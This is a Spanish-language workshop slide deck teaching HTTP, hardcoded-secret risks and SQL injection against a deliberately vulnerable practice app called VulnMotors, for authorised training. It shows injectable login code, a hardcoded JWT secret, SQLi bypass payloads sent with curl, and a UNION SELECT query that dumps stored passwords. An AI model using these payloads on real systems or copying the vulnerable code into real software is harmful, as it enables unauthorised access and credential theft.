



Fundamentos, Entorno y Primer Ataque

Taller de Seguridad Web – OWASP Top 10

Carlos Rodríguez Contreras · GitHub: karrocon

Agenda del día

🕒 Sesión 1 (2h)

Bloque	Tema
T01	Arquitectura Web y HTTP
Lab	Interceptar tráfico con DevTools
T02	Docker y Variables de Entorno
Lab	Buscar secretos hardcodeados

🕒 Sesión 2 (2h)

Bloque	Tema
T03	VulnMotors – Setup y mapa de ataque
Lab	Exploración completa de la app
T04	SQL Injection – primer ataque
Lab	SQLi hands-on

Objetivos del día

Al terminar hoy serás capaz de:

1. 🌐 Leer una petición HTTP y entender cada parte (método, headers, body)
2. 🐳 Entender Docker, `.env` y por qué hardcodear secretos es crítico
3. 🗺 Mapear la superficie de ataque de una aplicación web
4. 💉 **Entrar como admin sin conocer la contraseña** (SQL Injection)

💡 **Herramientas del día:** Navegador + DevTools + curl/Postman + jwt.io

Regla de oro del curso

💀 Solo atacamos lo que tenemos permiso para atacar.

- ✅ VulnMotors (nuestra app de práctica)
- ❌ Cualquier otro sistema, web o servicio

El acceso no autorizado a sistemas informáticos es **delito penal** (art. 197 bis CP).

T01: Arquitectura Web y HTTP

¿Cómo hablan el navegador y el servidor?

¿Qué ocurre cuando escribes una URL?

1. Navegador → DNS resolver → IP del servidor
2. TCP 3-way handshake (SYN → SYN-ACK → ACK)
3. HTTP Request: método + path + headers + body
4. Servidor procesa → HTTP Response: status + headers + body
5. Navegador renderiza

Cada paso es una superficie de ataque potencial.

Componentes de una arquitectura web

Componente	Función
Cliente	Navegador, app móvil
DNS	Resuelve dominio → IP
CDN	Caché estática, DDoS mitigation
Reverse Proxy	Load balancing, TLS termination
Servidor App	Lógica de negocio
Base de datos	Persistencia



Anatomía de una petición HTTP

```
POST /auth/login HTTP/1.1
Host: vulnapp-owasp-01.azurewebsites.net
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9...

{"username": "alice", "password": "password123"}
```

Parte	Qué contiene	Riesgo si viaja sin cifrar
URL	Path + query params	Visible en logs, historial
Headers	Auth tokens, cookies	Intercepción MITM
Body	Credenciales, datos PII	Lectura directa

Métodos HTTP y su semántica

Método	Acción	Idempotente	Ejemplo en VulnApp
GET	Leer	✓	GET /products
POST	Crear	✗	POST /auth/login
PUT	Actualizar	✓	PUT /products/1
DELETE	Borrar	✓	DELETE /products/1

⚠ En VulnApp: PUT /products/:id no verifica el propietario → veremos en día 4 (IDOR).

Códigos de respuesta HTTP

Rango	Significado	Ejemplos
2xx	Éxito	200 OK, 201 Created
3xx	Redirección	301 Moved, 302 Found
4xx	Error del cliente	401 Unauthorized, 403 Forbidden, 404 Not Found
5xx	Error del servidor	500 Internal Server Error

💀 Un servidor que devuelve stack traces en respuestas 500 está filtrando información interna.

DevTools — tu primera herramienta de auditoría

1. **Network tab** — ver cada petición/respuesta en detalle
2. **Console** — ejecutar JS en el contexto de la página
3. **Application** → **Cookies** — inspeccionar flags de sesión
4. **Security tab** — verificar certificado TLS

💡 **Atajo:** `F12` o `Ctrl+Shift+I` en cualquier navegador.

Lab T01 — Interceptar tráfico HTTP

1. Abre `https://vulnapp-owasp-01.azurewebsites.net`
2. Abre DevTools → pestaña **Network**
3. Haz login con `alice / password123`
4. Observa la petición POST `/auth/login` :
 - ¿Qué hay en el body? (credenciales en claro)
 - ¿Qué devuelve el servidor? (JWT token)
5. Copia el token → pégalo en **jwt.io** → ¿qué ves en el payload?

 **Conclusión:** Las credenciales viajan en el body. El token contiene userId, username y role.

T02: Docker y Variables de Entorno

Secretos hardcodeados – la vulnerabilidad silenciosa

Variables de entorno — la forma correcta de configurar

```
# .env (NUNCA se sube a Git)
JWT_SECRET=s3cr3t-k3y-muy-largo-y-aleatorio
DB_PATH=./vuln.db
PORT=3000
```

```
// En el código - lee de process.env
const JWT_SECRET = process.env.JWT_SECRET || 'fallback-inseguro';
```

💀 **VulnApp hace esto MAL:** `const JWT_SECRET = 'secret';` → hardcodeado en `src/routes/auth.ts:7`

El peligro de hardcodear secretos

```
// ⚠ VULNERABLE - src/routes/auth.ts línea 7  
const JWT_SECRET = 'secret';
```

Consecuencias:

1. Cualquiera con acceso al repo puede firmar tokens
2. El secreto aparece en el historial de Git **para siempre**
3. No se puede rotar sin redesplegar
4. `git log -p --all -S 'secret'` → revelado

Fix:

```
const JWT_SECRET = process.env.JWT_SECRET!;  
// + validar al arrancar que no esté vacío
```

`.env` y `.gitignore` — regla de oro

```
# .gitignore
.env
.env.*
!.env.example
```

```
# .env.example (Sí se sube - sin valores reales)
JWT_SECRET=
DB_PATH=./vuln.db
PORT=3000
```

✓ Buena práctica: `.env.example` documenta qué variables necesita la app, sin revelar valores.

Lab T02 — Buscar secretos hardcodedos

1. Visita `https://vulnapp-owasp-01.azurewebsites.net/debug`
 - ¿Qué información sensible ves? (variables de entorno, rutas, versiones)
2. Busca en el código fuente la línea que hardcodea el secreto JWT:
 - `src/routes/auth.ts` → `const JWT_SECRET = 'secret'`
3. ¿Cuántos secretos encuentras en total?

Hallazgos esperados:

- JWT_SECRET hardcodedo · Endpoint `/debug` sin autenticación · Passwords en texto plano en la BD

T03: VulnMotors — La app que vamos a hackear

Conoce tu objetivo

VulnMotors – Stack tecnológico

Capa	Tecnología
Runtime	Node.js 20+
Lenguaje	TypeScript
Framework	Express
BD	SQLite (better-sqlite3)
Auth	JWT (jsonwebtoken)

URL del curso:

<https://vulnapp-owasp-01.azurewebsites.net>

Usuarios de prueba:

Usuario	Contraseña	Rol
alice	password123	admin
bob	qwerty	user
carol	letmein	user

Estructura del código y mapa de vulnerabilidades

```
VulnApp/src/  
├─ routes/  
│   ├── auth.ts      ← SQLi (día 2), JWT débil (día 3)  
│   ├── products.ts  ← IDOR (día 4), XSS (día 2)  
│   ├── comments.ts  ← XSS almacenado (día 2)  
│   ├── users.ts     ← IDOR (día 4)  
│   └─ debug.ts      ← Command Injection (día 3)  
├─ middleware/  
│   └─ auth.ts       ← alg:none (día 3)  
└─ db/  
    └─ database.ts   ← Passwords plain text (día 5)
```

Endpoints de la API

Ruta	Método	Función	Vuln
/auth/login	POST	Autenticación	SQLi
/products	GET	Listar coches	—
/products/:id	PUT	Editar coche	IDOR
/users/:id	GET	Ver perfil	IDOR
/comments	POST	Publicar comentario	XSS
/debug	GET	Diagnóstico	CMDi, info leak

Lab T03 — Exploración de la superficie de ataque

Fase 1 — Login y obtener token:

```
curl -s -X POST https://vulnapp-owasp-01.azurewebsites.net/auth/login \  
-H "Content-Type: application/json" \  
-d '{"username":"bob","password":"qwerty"}' | jq .
```

Fase 2 — Explorar endpoints:

```
# Listar productos  
curl -s https://vulnapp-owasp-01.azurewebsites.net/products | jq .  
  
# Endpoint debug (¡sin auth!)  
curl -s https://vulnapp-owasp-01.azurewebsites.net/debug | jq .
```

Fase 3 — Anotar todo lo sospechoso en una tabla de hallazgos.

T04: SQL Injection — Primer ataque

★ Entrar como admin sin contraseña

¿Qué es SQL Injection?

El atacante **inyecta código SQL** dentro de un input que el servidor usa en una consulta:

```
// src/routes/auth.ts - VULNERABLE
const query = `SELECT * FROM users
  WHERE username='${username}' AND password='${password}'`;
const user = db.prepare(query).get();
```

Si el usuario escribe `' OR 1=1--` como username:

```
SELECT * FROM users WHERE username=' ' OR 1=1-- ' AND password='x'
                        ^^^^^^^^^      ^^^^^^^^^^^^^^^^^^^^^
                        siempre true    comentado!
```

Resultado: devuelve el primer usuario de la BD (alice = admin).

¿Por qué funciona?

Sin ataque:

```
SELECT * FROM users
WHERE username='alice'
AND password='password123'
```

→ Busca coincidencia exacta 

Con ' OR 1=1-- :

```
SELECT * FROM users
WHERE username='' OR 1=1
-- AND password='x'
```

- **1=1** siempre es TRUE
- Devuelve TODOS los usuarios
- La app toma el primero (alice)

El ataque paso a paso

```
curl -s -X POST https://vulnapp-owasp-01.azurewebsites.net/auth/login \  
-H "Content-Type: application/json" \  
-d '{"username":"'\' OR 1=1--","password":"x"}'
```

Respuesta:

```
{  
  "token": "eyJhbGciOiJIUzI1NiJ9...",  
  "user": { "id": 1, "username": "alice", "role": "admin" }  
}
```

💀 **Somos admin sin conocer la contraseña.** El `--` comenta el resto de la query.

Variaciones del bypass

```
-- Entrar como cualquier usuario específico  
' OR username='bob'--  
  
-- Entrar siempre como admin  
' OR role='admin'--  
  
-- Con comentario de bloque (alternativa a --)  
' OR 1=1/*
```

Cada variación manipula la lógica de la consulta de forma diferente.

Lab T04 — SQLi hands-on

Nivel 1 — Bypass básico:

- Username: `' OR 1=1--` • Password: cualquier cosa
- ¿Con qué usuario has entrado?

Nivel 2 — Elige tu víctima:

- Entra como bob: `' OR username='bob'--`
- Entra como carol: `' OR username='carol'--`

Nivel 3 — Con curl:

```
curl -s -X POST https://vulnapp-owasp-01.azurewebsites.net/auth/login \  
-H "Content-Type: application/json" \  
-d '{"username":"'\' OR 1=1--","password":"x"}' | jq .
```

 **Documenta:** payload usado, token obtenido, usuario devuelto. Lo necesitarás en el informe final (día 8).

Mañana: extraeremos TODA la base de datos

```
Día 1: ' OR 1=1--      → "soy admin"  
Día 2: ' UNION SELECT ...--  → "tengo TODA la BD"
```

Preview:

```
' UNION SELECT 1,group_concat(username||':'||password,' | '),3,4,5 FROM users--
```

→ Extrae usuarios y contraseñas en una sola petición.

⚠ Mañana veremos también cómo **arreglar** esto con una sola línea de código.

Resumen del día

Tema	Lo que aprendiste
HTTP	Anatomía de peticiones, métodos, status codes
Secretos	<code>JWT_SECRET = 'secret'</code> en código = desastre
VulnMotors	11 vulns intencionales, superficie de ataque mapeada
SQLi	<code>' OR 1=1--</code> → acceso admin sin contraseña

🏆 **Logro del día:** Habéis ejecutado vuestro primer ataque real contra una aplicación web.